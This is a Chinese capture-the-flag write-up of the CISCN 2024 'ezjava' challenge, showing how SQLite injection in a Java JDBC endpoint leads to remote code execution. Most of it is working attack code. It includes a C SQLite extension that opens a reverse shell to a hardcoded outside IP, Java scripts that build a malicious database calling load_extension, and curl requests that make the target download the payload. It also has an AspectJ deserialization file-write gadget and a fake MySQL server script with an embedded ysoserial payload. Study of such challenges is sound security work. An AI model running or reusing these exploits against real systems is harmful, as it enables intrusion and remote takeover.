如何从sqlite注入到命令执行,有些类似于mysql的UDF提权,需要开启了插件允许.
来通过一道题来看这个问题.
ciscn2024 ezjava
@Controller
@RequestMapping({"/jdbc"})
public class JdbcController {@Resourceprivate DatasourceServiceImpl datasourceServiceImpl;@GetMapping({"/index"})public String index() {return "mainpage";}@RequestMapping({"/connect"})@ResponseBodypublic ResultBean connect(@RequestBody JdbcBean jdbcBean) {try {return new ResultBean(Integer.valueOf(1), String.join(",", (CharSequence[])this.datasourceServiceImpl.testDatasourceConnectionAble(jdbcBean)));} catch (Exception e) {return new ResultBean(Integer.valueOf(0), ");} }
}
看到/jdbc/connect路由调用了testDatasourceConnectionAble方法.
public String[] testDatasourceConnectionAble(JdbcBean jdbcBean) throws ClassNotFoundException, SQLException {MysqlDatasourceConnector mysqlDatasourceConnector;PostgresDatasourceConnector postgresDatasourceConnector;SqliteDatasourceConnector sqliteDatasourceConnector;Map<String, String> config = DatasourceLoadConfig.getConfig();switch (jdbcBean.getType().intValue()) {case 1:Class.forName(config.get("JDBC-MYSQL"));mysqlDatasourceConnector = new MysqlDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));if (jdbcBean.getTableName() != null)return mysqlDatasourceConnector.getTableContent(jdbcBean.getTableName()); return mysqlDatasourceConnector.getTables();case 2:Class.forName(config.get("JDBC-POSTGRES"));postgresDatasourceConnector = new PostgresDatasourceConnector(DriverManager.getConnection(jdbcBean.getUrl()));if (jdbcBean.getTableName() != null)return postgresDatasourceConnector.getTableContent(jdbcBean.getTableName()); return postgresDatasourceConnector.getTables();case 3:sqliteDatasourceConnector = new SqliteDatasourceConnector(jdbcBean.getUrl());if (jdbcBean.getTableName() != null)return sqliteDatasourceConnector.getTableContent(jdbcBean.getTableName()); return sqliteDatasourceConnector.getTables();case 4:Class.forName(config.get("JDBC-SQLITE"));return new String[] { "" };} return new String[] { "" };}
发现这个方法很有意思,允许使用四种方法去连接数据库.我们首先看到了MYSQL JDBC反序列化的攻击点,但是由于题目中没有现成的链子,所以无法执行命令,读文件没什么效果.
接下来SQLITE,看一下getTableContent方法.
public String[] getTableContent(String tableName) {String sql = "select * from " + tableName;try(Statement statement = this.connection.createStatement(); ResultSet resultSet = statement.executeQuery(sql)) {while (resultSet.next());} catch (SQLException e) {e.printStackTrace();} return new String[0];}
发现这里还出现了一个SQL注入.那么就可以考虑通过加载插件去进行攻击.
首先去创建一个恶意的so文件:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sqlite3ext.h>
#include <sys/stat.h> SQLITE_EXTENSION_INIT1 /* Configuration for the TCP connection */
int tcp_port = 1111;
char *ip = "123.57.23.40"; #ifdef _WIN32
__declspec(dllexport)
#endif
/** * Initializes the SQLite extension. * * @param db SQLite database pointer * @param pzErrMsg Error message pointer * @param pApi SQLite API routines pointer * @return SQLITE_OK on success */int sqlite3_extension_init( sqlite3 *db, char **pzErrMsg, const sqlite3_api_routines *pApi
) { int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); /* Establish a TCP connection and spawn a shell if running in a child process */ int fd; if ((fork()) <= 0) { struct sockaddr_in addr; addr.sin_family = AF_INET; addr.sin_port = htons(tcp_port); addr.sin_addr.s_addr = inet_addr(ip); fd = socket(AF_INET, SOCK_STREAM, 0); if (connect(fd, (struct sockaddr*)&addr, sizeof(addr)) != 0) { exit(0); // Exit if connection fails } // Redirect standard file descriptors to the socket dup2(fd, 0); dup2(fd, 1); dup2(fd, 2); // Execute bash shell execve("/bin/bash", NULL, NULL); } return rc;
}
静态编译:
gcc -g -fPIC -shared rce.c -o rce.so
我们的so文件在被获取后会被移动到/tmp目录下并进行重命名,使用如下脚本去计算更改后的文件名:
package org.example;import java.net.URL;public class cacheFilenameGen {public static void main(String[] args) throws Exception {Class.forName("org.sqlite.JDBC");String writeUrl = "http://123.57.23.40:8000/rce.so";String tmpDirRemote = "/tmp/sqlite-jdbc-tmp-";String tmpDirLocal = "/var/folders/x8/mrcrl0p503nbmvy62sgmtk3m0000gn/T/sqlite-jdbc-tmp-";String soFilePlace = String.format("sqlite-jdbc-tmp-%d.db", new URL(writeUrl).hashCode());System.out.println(soFilePlace);}
}
然后通过下面的脚本去创建一个db,含有执行SQL语句创建的虚表security.
package org.example;import java.io.File;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;public class Gen {public static void main(String[] args) {try {String dbFile = "F:/poc.db";File file = new File(dbFile);Class.forName("org.sqlite.JDBC"); //保证lib文件夹中已导入相关的jdbc包Connection conn = DriverManager.getConnection("jdbc:sqlite:"+dbFile);//创建数据库连接System.out.println("Opened database successfully");String sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--103198187.db'));"; //向其中插入传入的三个参数PreparedStatement preStmt = conn.prepareStatement(sql);preStmt.executeUpdate();preStmt.close();conn.close();} catch (Exception e) {e.printStackTrace();}}
}
将得到的so和db文件放到vps上,并监听对应端口.
curl --header "Content-Type: application/json" --request POST --data '{"type": 3,"url": "jdbc:sqlite::resource:http://123.57.23.40:8000/rce.so","tableName": "security"}' http://pwn.challenge.ctf.show:28306/jdbc/connectcurl --header "Content-Type: application/json" --request POST --data '{"type": 3,"url": "jdbc:sqlite::resource:http://123.57.23.40:8000/poc.db","tableName": "security"}' http://pwn.challenge.ctf.show:28306/jdbc/connect
成功得到了反弹的shell.其中第一次是远程获取so文件,第二次是获取数据库文件,并查询其中的security表,导致了如下语句的执行.
SELECT load_extension('/tmp/sqlite-jdbc-tmp--103198187.db')
AspectjWeaver写文件
这题还有另外一种方法去写入so文件,可以使文件名可控不随机化.
看到存在如下依赖.
<dependency><groupId>org.aspectj</groupId><artifactId>aspectjweaver</artifactId><version>1.9.5</version><scope>runtime</scope></dependency>
然而没有cc链,需要自己去寻找一个出口.
刚刚好在UserBean中存在一个重写的readObject方法,其中调用了put方法.
于是我们写出poc如下:
import com.example.jdbctest.bean.UserBean;import java.io.*;
import java.lang.reflect.Constructor;
import java.util.Base64;
import java.util.HashMap;public class ezjava {public static void main(String[] args) throws Exception {Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap").getDeclaredConstructor(String.class, int.class);con.setAccessible(true);HashMap map = (HashMap) con.newInstance("E:", 1);UserBean userBean = new UserBean("1.txt", "aGVsbG8gd29ybGQ=");userBean.setObj(map);// serial(userBean);deserial();}private static void serial(Object obj) throws Exception {ByteArrayOutputStream bos = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(bos);oos.writeObject(obj);byte[] bytes = bos.toByteArray();System.out.println(Base64.getEncoder().encodeToString(bytes));FileOutputStream fos = new FileOutputStream("ser.bin");ObjectOutputStream oos2 = new ObjectOutputStream(fos);oos2.writeObject(obj);}private static void deserial() throws Exception {FileInputStream fis = new FileInputStream("ser.bin");ObjectInputStream ois = new ObjectInputStream(fis);ois.readObject();}
}
然后就是想办法把这个poc放到一个恶意的mysql服务器上.
创建一个poc.py如下:
# coding=utf-8
import socket
import binascii
import osgreeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"def receive_data(conn):data = conn.recv(1024)print("[*] Receiveing the package : {}".format(data))return str(data).lower()def send_data(conn,data):print("[*] Sending the package : {}".format(data))conn.send(binascii.a2b_hex(data))def get_payload_content():#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payloadfile= r'payload'if os.path.isfile(file):with open(file, 'rb') as f:payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')print("open successs")else:print("open false")#calcpayload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'return payload_content# 主要逻辑
def run():while 1:conn, addr = sk.accept()print("Connection come from {}:{}".format(addr[0],addr[1]))# 1.先发送第一个 问候报文send_data(conn,greeting_data)while True:# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_okreceive_data(conn)send_data(conn,response_ok_data)#其他过程data=receive_data(conn)#查询一些配置信息,其中会发送自己的 版本号if "session.auto_increment_increment" in data:_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'send_data(conn,_payload)data=receive_data(conn)elif "show warnings" in data:_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'send_data(conn, _payload)data = receive_data(conn)if "set names" in data:send_data(conn, response_ok_data)data = receive_data(conn)if "set character_set_results" in data:send_data(conn, response_ok_data)data = receive_data(conn)if "show session status" in data:mysql_data = '0100000102'mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'# 为什么我加了EOF Packet 就无法正常运行呢？？# 获取payloadpayload_content=get_payload_content()# 计算payload长度payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)payload_length_hex = payload_length[2:4] + payload_length[0:2]# 计算数据包长度data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hexmysql_data += str(payload_content)mysql_data += '07000005fe000022000100'send_data(conn, mysql_data)data = receive_data(conn)if "show warnings" in data:payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'send_data(conn, payload)breakif __name__ == '__main__':HOST ='0.0.0.0'PORT = 3306sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)sk.bind((HOST, PORT))sk.listen(1)print("start fake mysql server listening on {}:{}".format(HOST,PORT))run()
然后将payload文件放在同级目录下,运行脚本.使用不带user参数的jdbc去进行连接,即可写文件:
{"type": 1,"url": "jdbc:mysql://123.57.23.40:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"
}
然后发包去进行sql注入加载插件实现rce
{
"type":"3",
"tableName":"(select (load_extension(\"/tmp/evil.so\")));","url":"jdbc:sqlite:file:/tmp/db?enable_load_extension=true"}
新版的mysqlfakeserver也可以实现这个功能,不过需要在vps部署gui,没这个条件.
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